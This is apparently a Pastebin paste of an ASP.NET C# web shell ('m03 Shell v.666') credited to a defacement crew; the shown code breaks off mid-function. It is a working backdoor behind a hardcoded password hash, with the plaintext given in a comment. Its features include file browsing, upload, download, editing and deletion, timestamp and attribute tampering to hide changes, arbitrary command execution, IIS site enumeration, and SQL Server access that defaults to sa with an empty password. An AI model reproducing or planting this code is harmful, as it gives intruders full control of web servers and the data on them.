Advertisement
PhantomGhostSquad

Moe Shell

Sep 9th, 2016
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.92 KB | None | 0 0
  1. 4prili666h05T m03 Shell v.666
  2. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  3. <%@ import Namespace="System.IO" %>
  4. <%@ import Namespace="System.Diagnostics" %>
  5. <%@ import Namespace="System.Data" %>
  6. <%@ import Namespace="System.Data.OleDb" %>
  7. <%@ import Namespace="Microsoft.Win32" %>
  8. <%@ import Namespace="System.Net.Sockets" %>
  9. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  10. <%@ import Namespace="System.DirectoryServices" %>
  11. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  12. <script runat="server">
  13. /*
  14. Thanks Snailsor,FuYu,J0keroo,KuroiSh,SQL_Master
  15.  
  16. Code by Bin
  17.  
  18. Make in Greenz
  19. Zone -h : http://www.zone-h.org/archive/notifier=Shin0bi H4x0r
  20.  
  21. */
  22. public string Password = "71144850f4fb4cc55fc0ee6935badddf";//PASS:nullchl:rizk0nT
  23. public string SessionName = "m03 Shell v.666";
  24. public string Bin_Action = "";
  25. public string Bin_Request = "";
  26. protected OleDbConnection conn = new OleDbConnection();
  27. protected OleDbCommand comm = new OleDbCommand();
  28.  
  29. protected void Page_Load(object sender, EventArgs e)
  30. {
  31.  
  32. if (Session[SessionName] != "BIN")
  33. {
  34. Bin_login();
  35. }
  36. else
  37. {
  38. if (!IsPostBack)
  39. {
  40. Bin_main();
  41. }
  42. else
  43. {
  44.  
  45. Bin_Action = Request["goaction"];
  46. if (Bin_Action == "del")
  47. {
  48. Bin_Request = Request["todo"];
  49. Bin_Filedel(Bin_Request, 1);
  50. }
  51. if (Bin_Action == "change")
  52. {
  53. Bin_Request = Request["todo"];
  54. Bin_FileList(Bin_Request);
  55. }
  56. if (Bin_Action == "deldir")
  57. {
  58. Bin_Request = Request["todo"];
  59. Bin_Filedel(Bin_Request, 2);
  60. }
  61. if (Bin_Action == "down")
  62. {
  63. Bin_Request = Request["todo"];
  64. Bin_Filedown(Bin_Request);
  65. }
  66. if (Bin_Action == "rename")
  67. {
  68. Bin_Request = Request["todo"];
  69. Bin_FileRN(Bin_Request, 1);
  70. }
  71. if (Bin_Action == "renamedir")
  72. {
  73. Bin_Request = Request["todo"];
  74. Bin_FileRN(Bin_Request, 2);
  75. }
  76. if (Bin_Action == "showatt")
  77. {
  78. Bin_Request = Request["todo"];
  79. Bin_Fileatt(Bin_Request);
  80. }
  81. if (Bin_Action == "edit")
  82. {
  83. Bin_Request = Request["todo"];
  84. Bin_FileEdit(Bin_Request);
  85. }
  86. if (Bin_Action == "postdata")
  87. {
  88.  
  89. Bin_Request = Request["todo"];
  90. Session["Bin_Table"] = Bin_Request;
  91. Bin_DataGrid.CurrentPageIndex = 0;
  92. Bin_DBstrTextBox.Text = "";
  93. Bin_Databind();
  94. }
  95. if (Bin_Action == "changedata")
  96. {
  97. Session["Bin_Table"] = null;
  98. Bin_Request = Request["todo"];
  99. Session["Bin_Option"] = Request["intext"];
  100. Bin_Change();
  101. Bin_DBinfoLabel.Visible = false;
  102. Bin_DBstrTextBox.Text = Bin_Request;
  103.  
  104. }
  105. if (Session["Bin_Table"] != null)
  106. {
  107. Bin_Databind();
  108. }
  109.  
  110. }
  111. }
  112. }
  113. public void Bin_login()
  114. {
  115. Bin_LoginPanel.Visible = true;
  116. Bin_MainPanel.Visible = false;
  117. Bin_MenuPanel.Visible = false;
  118. Bin_FilePanel.Visible = false;
  119. Bin_CmdPanel.Visible = false;
  120. Bin_SQLPanel.Visible = false;
  121. Bin_SuPanel.Visible = false;
  122. Bin_IISPanel.Visible = false;
  123. Bin_PortPanel.Visible = false;
  124. Bin_RegPanel.Visible = false;
  125. }
  126. public void Bin_main()
  127. {
  128. TimeLabel.Text = DateTime.Now.ToString();
  129. Bin_PortPanel.Visible = false;
  130. Bin_RegPanel.Visible = false;
  131. Bin_LoginPanel.Visible = false;
  132. Bin_MainPanel.Visible = true;
  133. Bin_MenuPanel.Visible = true;
  134. Bin_FilePanel.Visible = false;
  135. Bin_CmdPanel.Visible = false;
  136. Bin_SQLPanel.Visible = false;
  137. Bin_SuPanel.Visible = false;
  138. Bin_IISPanel.Visible = false;
  139. string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  140. string HostName = "HostName : " + Environment.MachineName + "<br>";
  141. string OS = "OS Version : " + Environment.OSVersion + "</br>";
  142. string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  143. string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  144. InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  145. InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  146. InfoLabel.Text += Bin_Process() + "<hr>";
  147.  
  148. }
  149. private bool CheckIsNumber(string sSrc)
  150. {
  151. System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  152.  
  153. if (reg.IsMatch(sSrc))
  154. {
  155. return true;
  156. }
  157. else
  158. {
  159. return false;
  160. }
  161. }
  162. public string Bin_iisinfo()
  163. {
  164. string iisinfo = "";
  165. string iisstart = "";
  166. string iisend = "";
  167. string iisstr = "IIS://localhost/W3SVC";
  168. int i = 0;
  169. try
  170. {
  171. DirectoryEntry mydir = new DirectoryEntry(iisstr);
  172. iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  173. foreach (DirectoryEntry child in mydir.Children)
  174. {
  175. if (CheckIsNumber(child.Name.ToString()))
  176. {
  177. string dirstr = child.Name.ToString();
  178. string tmpstr = "";
  179. DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  180. DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  181. iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  182. iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  183. iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  184. iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  185. iisinfo += "</TR>";
  186. }
  187. }
  188. iisend = "</TABLE><hr>";
  189. }
  190. catch (Exception error)
  191. {
  192. Bin_Error(error.Message);
  193. }
  194. return iisstart + iisinfo + iisend;
  195. }
  196. public string Bin_Process()
  197. {
  198. string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=center width=20%><B>Process</B></TD><TD align=center width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  199. string prostr = "";
  200. string htmlend = "</TR></TABLE>";
  201. try
  202. {
  203. Process[] myprocess = Process.GetProcesses();
  204. foreach (Process p in myprocess)
  205. {
  206. prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  207. prostr += "<TD align=center>" + p.ProcessName.ToString() + "</TD>";
  208. prostr += "<TD align=center>" + p.WorkingSet.ToString() + "</TD>";
  209. prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  210. }
  211. }
  212. catch (Exception Error)
  213. {
  214. Bin_Error(Error.Message);
  215. }
  216. return htmlstr + prostr + htmlend;
  217. }
  218. protected void LoginButton_Click(object sender, EventArgs e)
  219. {
  220. string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  221. if (MD5Pass == Password)
  222. {
  223. Session[SessionName] = "BIN";
  224. Bin_main();
  225. }
  226. else
  227. {
  228. Bin_login();
  229. }
  230. }
  231.  
  232. protected void LogoutButton_Click(object sender, EventArgs e)
  233. {
  234. Session.Abandon();
  235. Bin_login();
  236. }
  237.  
  238. protected void FileButton_Click(object sender, EventArgs e)
  239. {
  240. Bin_LoginPanel.Visible = false;
  241. Bin_MenuPanel.Visible = true;
  242. Bin_MainPanel.Visible = false;
  243. Bin_FilePanel.Visible = true;
  244. Bin_CmdPanel.Visible = false;
  245. Bin_SQLPanel.Visible = false;
  246. Bin_SuPanel.Visible = false;
  247. Bin_IISPanel.Visible = false;
  248. Bin_PortPanel.Visible = false;
  249. Bin_RegPanel.Visible = false;
  250. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  251. Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  252. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  253. Bin_FileList(Server.MapPath("."));
  254.  
  255. }
  256.  
  257. protected void MainButton_Click(object sender, EventArgs e)
  258. {
  259. Bin_main();
  260. }
  261. public void Bin_DriveList()
  262. {
  263. string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  264. file += "<hr>Drives : ";
  265. string[] drivers = Directory.GetLogicalDrives();
  266. for (int i = 0; i < drivers.Length; i++)
  267. {
  268. file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  269. }
  270. file += " WebRoot : <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  271. Bin_FileLabel.Text = file;
  272. }
  273.  
  274. public void Bin_FileList(string Bin_path)
  275. {
  276. Bin_FilePanel.Visible = true;
  277. Bin_CreateTextBox.Text = "";
  278. Bin_CopytoTextBox.Text = "";
  279. Bin_CopyTextBox.Text = Bin_path;
  280. Bin_upTextBox.Text = Bin_path;
  281. Bin_IISPanel.Visible = false;
  282. Bin_DriveList();
  283. string tmpstr="";
  284. string Bin_Filelist = Bin_FilelistLabel.Text;
  285. Bin_Filelist = "<hr>";
  286. Bin_Filelist += "<table width=90% border=0 align=center>";
  287. Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  288. Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  289. try
  290. {
  291. Bin_Filelist += "<tr><td>";
  292. string parstr = "";
  293. if (Bin_path.Length < 4)
  294. {
  295. parstr = formatpath(Bin_path);
  296.  
  297. }
  298. else
  299. {
  300. parstr = formatpath(Directory.GetParent(Bin_path).ToString());
  301.  
  302. }
  303. Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  304. Bin_Filelist += "</td></tr>";
  305.  
  306. DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  307. foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  308. {
  309. string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  310. tmpstr += "<tr>";
  311. tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  312. tmpstr += "</tr>";
  313. }
  314. foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  315. {
  316. string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  317. tmpstr += "<tr>";
  318. tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  319. tmpstr += "</tr>";
  320. }
  321. tmpstr += "</talbe>";
  322. }
  323. catch (Exception Error)
  324. {
  325. Bin_Error(Error.Message);
  326.  
  327. }
  328.  
  329. Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  330. }
  331. public void Bin_Filedel(string instr,int type)
  332. {
  333. try
  334. {
  335. if (type == 1)
  336. {
  337. File.Delete(instr);
  338. }
  339. if (type == 2)
  340. {
  341. foreach (string tmp in Directory.GetFileSystemEntries(instr))
  342. {
  343. if (File.Exists(tmp))
  344. {
  345. File.Delete(tmp);
  346. }
  347. else
  348. {
  349. Bin_Filedel(tmp, 2);
  350. }
  351. }
  352. Directory.Delete(instr);
  353. }
  354. }
  355. catch (Exception Error)
  356. {
  357. Bin_Error(Error.Message);
  358. }
  359. Bin_FileList(Bin_upTextBox.Text);
  360. }
  361. public void Bin_FileRN(string instr,int type)
  362. {
  363. try
  364. {
  365. if (type == 1)
  366. {
  367. string[] array = instr.Split(',');
  368.  
  369. File.Move(array[0], array[1]);
  370. }
  371. if (type == 2)
  372. {
  373. string[] array = instr.Split(',');
  374. Directory.Move(array[0], array[1]);
  375. }
  376. }
  377. catch (Exception Error)
  378. {
  379. Bin_Error(Error.Message);
  380. }
  381. Bin_FileList(Bin_upTextBox.Text);
  382. }
  383. public void Bin_Filedown(string instr)
  384. {
  385. try
  386. {
  387. FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  388. long FileSize = MyFileStream.Length;
  389. byte[] Buffer = new byte[(int)FileSize];
  390. MyFileStream.Read(Buffer, 0, (int)FileSize);
  391. MyFileStream.Close();
  392. Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  393. Response.Charset = "UTF-8";
  394. Response.ContentType = "application/octet-stream";
  395. Response.BinaryWrite(Buffer);
  396. Response.Flush();
  397. Response.End();
  398. }
  399. catch (Exception Error)
  400. {
  401. Bin_Error(Error.Message);
  402. }
  403.  
  404. }
  405. public void Bin_Fileatt(string instr)
  406. {
  407. Bin_AttPanel.Visible = true;
  408. Bin_FilePanel.Visible = true;
  409. try
  410. {
  411. string Att = File.GetAttributes(instr).ToString();
  412. Bin_ReadOnlyCheckBox.Checked = false;
  413. Bin_SystemCheckBox.Checked = false;
  414. Bin_HiddenCheckBox.Checked = false;
  415. Bin_ArchiveCheckBox.Checked = false;
  416.  
  417. if (Att.LastIndexOf("ReadOnly") != -1)
  418. {
  419. Bin_ReadOnlyCheckBox.Checked = true;
  420. }
  421. if (Att.LastIndexOf("System") != -1)
  422. {
  423. Bin_SystemCheckBox.Checked = true;
  424. }
  425. if (Att.LastIndexOf("Hidden") != -1)
  426. {
  427. Bin_HiddenCheckBox.Checked = true;
  428. }
  429. if (Att.LastIndexOf("Archive") != -1)
  430. {
  431. Bin_ArchiveCheckBox.Checked = true;
  432. }
  433. Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  434. Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  435. Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  436. }
  437. catch (Exception Error)
  438. {
  439. Bin_Error(Error.Message);
  440. }
  441. Bin_AttLabel.Text = instr;
  442. Session["FileName"] = instr;
  443. Bin_DriveList();
  444. }
  445. public void Bin_FileEdit(string instr)
  446. {
  447. Bin_FilePanel.Visible = true;
  448. Bin_EditPanel.Visible = true;
  449. Bin_DriveList();
  450. Bin_EditpathTextBox.Text = instr;
  451. StreamReader SR = new StreamReader(instr, Encoding.Default);
  452. Bin_EditTextBox.Text = SR.ReadToEnd();
  453. SR.Close();
  454. }
  455. protected void Bin_upButton_Click(object sender, EventArgs e)
  456. {
  457.  
  458. string uppath = Bin_upTextBox.Text;
  459. if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  460. {
  461. uppath = uppath + @"/";
  462. }
  463. try
  464. {
  465. Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  466.  
  467. }
  468. catch (Exception error)
  469. {
  470. Bin_Error(error.Message);
  471. }
  472. Bin_FileList(uppath);
  473. }
  474. public void Bin_Error(string error)
  475. {
  476. Bin_ErrorLabel.Text = "Error : " + error;
  477. }
  478. public string formatpath(string instr)
  479. {
  480. instr = instr.Replace(@"\", "/");
  481. if (instr.Length < 4)
  482. {
  483. instr = instr.Replace(@"/", "");
  484. }
  485. if (instr.Length == 2)
  486. {
  487. instr = instr + @"/";
  488. }
  489. instr = instr.Replace(" ", "%20");
  490. return instr;
  491. }
  492. public string formatfile(string instr)
  493. {
  494. instr = instr.Replace(" ", "%20");
  495. return instr;
  496.  
  497. }
  498. protected void Bin_GoButton_Click(object sender, EventArgs e)
  499. {
  500. Bin_FileList(Bin_upTextBox.Text);
  501. }
  502.  
  503. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  504. {
  505. string newfile = Bin_CreateTextBox.Text;
  506. string filepath = Bin_upTextBox.Text;
  507. filepath = filepath + "/" + newfile;
  508. try
  509. {
  510. StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  511.  
  512. }
  513. catch (Exception Error)
  514. {
  515. Bin_Error(Error.Message);
  516. }
  517. Bin_FileList(Bin_upTextBox.Text);
  518. }
  519.  
  520. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  521. {
  522. string dirpath = Bin_upTextBox.Text;
  523. string newdir = Bin_CreateTextBox.Text;
  524. newdir = dirpath + "/" + newdir;
  525. try
  526. {
  527. Directory.CreateDirectory(newdir);
  528.  
  529. }
  530. catch(Exception Error)
  531. {
  532. Bin_Error(Error.Message);
  533. }
  534. Bin_FileList(Bin_upTextBox.Text);
  535. }
  536.  
  537. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  538. {
  539. string copystr = Bin_CopyTextBox.Text;
  540. string copyto = Bin_CopytoTextBox.Text;
  541. try
  542. {
  543. File.Copy(copystr, copyto);
  544. }
  545. catch (Exception Error)
  546. {
  547. Bin_Error(Error.Message);
  548. }
  549. Bin_CopytoTextBox.Text = "";
  550. Bin_FileList(Bin_upTextBox.Text);
  551. }
  552.  
  553. protected void Bin_CutButton_Click(object sender, EventArgs e)
  554. {
  555. string copystr = Bin_CopyTextBox.Text;
  556. string copyto = Bin_CopytoTextBox.Text;
  557. try
  558. {
  559. File.Move(copystr, copyto);
  560. }
  561. catch (Exception Error)
  562. {
  563. Bin_Error(Error.Message);
  564. }
  565. Bin_CopytoTextBox.Text = "";
  566. Bin_FileList(Bin_upTextBox.Text);
  567. }
  568.  
  569. protected void Bin_SetButton_Click(object sender, EventArgs e)
  570. {
  571. try
  572. {
  573. string FileName = Session["FileName"].ToString();
  574. File.SetAttributes(FileName, FileAttributes.Normal);
  575. if (Bin_ReadOnlyCheckBox.Checked)
  576. {
  577. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  578. }
  579.  
  580. if (Bin_SystemCheckBox.Checked)
  581. {
  582. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  583. }
  584. if (Bin_HiddenCheckBox.Checked)
  585. {
  586. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  587. }
  588. if (Bin_ArchiveCheckBox.Checked)
  589. {
  590. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  591. }
  592. if (FileName.Substring(FileName.Length - 1, 1) == "/")
  593. {
  594. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  595. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  596. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  597. }
  598. else
  599. {
  600. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  601. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  602. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  603. }
  604. }
  605. catch (Exception Error)
  606. {
  607. Bin_Error(Error.Message);
  608. }
  609. Bin_FileList(Bin_upTextBox.Text);
  610. Response.Write("<script>alert('Success!')</sc" + "ript>");
  611. }
  612.  
  613. protected void Bin_EditButton_Click(object sender, EventArgs e)
  614. {
  615. try
  616. {
  617. StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  618. SW.Write(Bin_EditTextBox.Text);
  619. SW.Close();
  620. }
  621. catch (Exception Error)
  622. {
  623. Bin_Error(Error.Message);
  624. }
  625. Bin_FileList(Bin_upTextBox.Text);
  626. Response.Write("<script>alert('Success!')</sc" + "ript>");
  627.  
  628. }
  629.  
  630. protected void Bin_BackButton_Click(object sender, EventArgs e)
  631. {
  632. Bin_FileList(Bin_upTextBox.Text);
  633. }
  634.  
  635. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  636. {
  637. Bin_FileList(Bin_upTextBox.Text);
  638. }
  639.  
  640. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  641. {
  642. Bin_MenuPanel.Visible = true;
  643. Bin_LoginPanel.Visible = false;
  644. Bin_CmdPanel.Visible = true;
  645. Bin_SQLPanel.Visible = false;
  646. Bin_CmdLabel.Text = "";
  647. Bin_SuPanel.Visible = false;
  648. Bin_IISPanel.Visible = false;
  649. Bin_RegPanel.Visible = false;
  650. Bin_PortPanel.Visible = false;
  651. }
  652.  
  653. protected void Bin_RunButton_Click(object sender, EventArgs e)
  654. {
  655. try
  656. {
  657. Process Cmdpro = new Process();
  658. Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  659. Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  660. Cmdpro.StartInfo.UseShellExecute = false;
  661. Cmdpro.StartInfo.RedirectStandardInput = true;
  662. Cmdpro.StartInfo.RedirectStandardOutput = true;
  663. Cmdpro.StartInfo.RedirectStandardError = true;
  664. Cmdpro.Start();
  665. string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  666. cmdstr = cmdstr.Replace("<", "&lt;");
  667. cmdstr = cmdstr.Replace(">", "&gt;");
  668. Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  669. }
  670. catch (Exception Error)
  671. {
  672. Bin_Error(Error.Message);
  673. }
  674. }
  675.  
  676. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  677. {
  678. Bin_CmdPanel.Visible = false;
  679. Bin_SQLPanel.Visible = true;
  680. Bin_LoginPanel.Visible = false;
  681. Bin_MenuPanel.Visible = true;
  682. Bin_AccPanel.Visible = false;
  683. Bin_Scroll.Visible = false;
  684. Bin_DBmenuPanel.Visible = false;
  685. Bin_dirPanel.Visible = false;
  686. Bin_SuPanel.Visible = false;
  687. Bin_IISPanel.Visible = false;
  688. Bin_PortPanel.Visible = false;
  689. Bin_RegPanel.Visible =false;
  690. }
  691.  
  692. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  693. {
  694. Session["Bin_Table"] = null;
  695. Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  696. Bin_SQLRadioButton.Checked = true;
  697. Bin_AccRadioButton.Checked = false;
  698. Bin_AccPanel.Visible = false;
  699. Bin_DataGrid.Visible = false;
  700. Bin_Scroll.Visible = false;
  701. Bin_DBmenuPanel.Visible = false;
  702. Bin_dirPanel.Visible = false;
  703. }
  704.  
  705. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  706. {
  707. Session["Bin_Table"] = null;
  708. Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  709. Bin_SQLRadioButton.Checked = false;
  710. Bin_AccRadioButton.Checked = true;
  711. Bin_DBmenuPanel.Visible = false;
  712. Bin_AccPanel.Visible = false;
  713. Bin_DataGrid.Visible = false;
  714. Bin_Scroll.Visible = false;
  715. Bin_dirPanel.Visible = false;
  716.  
  717. }
  718. protected void OpenConnection()
  719. {
  720. if (conn.State == ConnectionState.Closed)
  721. {
  722. try
  723. {
  724. conn.ConnectionString = Bin_SQLconnTextBox.Text;
  725. comm.Connection = conn;
  726. conn.Open();
  727. }
  728. catch (Exception Error)
  729. {
  730. Bin_Error(Error.Message);
  731. }
  732. }
  733. }
  734. protected void CloseConnection()
  735. {
  736. if (conn.State == ConnectionState.Open)
  737. conn.Close();
  738. conn.Dispose();
  739. comm.Dispose();
  740. }
  741. public DataTable Bin_DataTable(string sqlstr)
  742. {
  743. OleDbDataAdapter da = new OleDbDataAdapter();
  744. DataTable datatable = new DataTable();
  745. try
  746. {
  747. OpenConnection();
  748. comm.CommandType = CommandType.Text;
  749. comm.CommandText = sqlstr;
  750. da.SelectCommand = comm;
  751. da.Fill(datatable);
  752. }
  753. catch (Exception)
  754. {
  755. }
  756. finally
  757. {
  758. CloseConnection();
  759. }
  760. return datatable;
  761. }
  762. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  763. {
  764. try
  765. {
  766. Session["Bin_Table"] = null;
  767. Bin_DataGrid.CurrentPageIndex = 0;
  768. Bin_DataGrid.AllowPaging = true;
  769. if (Bin_SQLRadioButton.Checked)
  770. {
  771. Bin_DBmenuPanel.Visible = true;
  772. Bin_DBinfoLabel.Visible = true;
  773. Bin_AccPanel.Visible = false;
  774. Bin_Scroll.Visible = false;
  775. Bin_dirPanel.Visible = false;
  776. OpenConnection();
  777. DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  778. DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  779. DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  780. DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  781. DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  782. string dbo = "";
  783. if (owner.Rows[0][0].ToString() == "1")
  784. {
  785. dbo = "db_owner";
  786. }
  787. else
  788. {
  789. dbo = "public";
  790. }
  791. if (rol.Rows[0][0].ToString() == "1")
  792. {
  793. dbo = "<font color=blue>sa</font>";
  794. }
  795. string db_info = "";
  796. db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  797. string db_name = "";
  798. for (int i = 0; i < dbs.Rows.Count; i++)
  799. {
  800. db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  801. }
  802. db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  803. db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  804. Bin_DBinfoLabel.Text = db_info;
  805. }
  806. if (Bin_AccRadioButton.Checked)
  807. {
  808. Bin_DataGrid.Visible = false;
  809. Bin_SAexecButton.Visible = false;
  810. Bin_Accbind();
  811. }
  812. }
  813. catch (Exception E)
  814. {
  815. Bin_Error(E.Message);
  816. }
  817. }
  818. protected void Bin_Accbind()
  819. {
  820. try
  821. {
  822. Bin_DBmenuPanel.Visible = false;
  823. Bin_AccPanel.Visible = true;
  824. OpenConnection();
  825. DataTable acctable = new DataTable();
  826. acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  827. string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
  828. accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  829. for (int i = 0; i < acctable.Rows.Count; i++)
  830. {
  831. accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
  832. }
  833. if (Session["Bin_Table"] != null)
  834. {
  835. accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  836. }
  837. accstr += "</SELECT>";
  838. Bin_AccinfoLabel.Text = accstr;
  839. CloseConnection();
  840. }
  841. catch (Exception Error)
  842. {
  843. Bin_Error(Error.Message);
  844. }
  845. }
  846. protected void Bin_Databind()
  847. {
  848. try
  849. {
  850. Bin_SAexecButton.Visible = false;
  851. Bin_Accbind();
  852. Bin_Scroll.Visible = true;
  853. if (Bin_SQLRadioButton.Checked)
  854. {
  855. Bin_DBmenuPanel.Visible = true;
  856. Bin_DBinfoLabel.Visible = false;
  857. }
  858. Bin_DataGrid.Visible = true;
  859. DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  860. Bin_DataGrid.DataSource = databind;
  861. Bin_DataGrid.DataBind();
  862. }
  863. catch (Exception Error)
  864. {
  865.  
  866. Bin_Error(Error.Message);
  867. }
  868. }
  869.  
  870. public void Bin_ExecSql(string instr)
  871. {
  872. try
  873. {
  874. OpenConnection();
  875. comm.CommandType = CommandType.Text;
  876. comm.CommandText = instr;
  877. comm.ExecuteNonQuery();
  878. }
  879. catch (Exception e)
  880. {
  881. Bin_Error(e.Message);
  882. }
  883. }
  884. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  885. {
  886.  
  887. for (int i = 2; i < e.Item.Cells.Count; i++)
  888. {
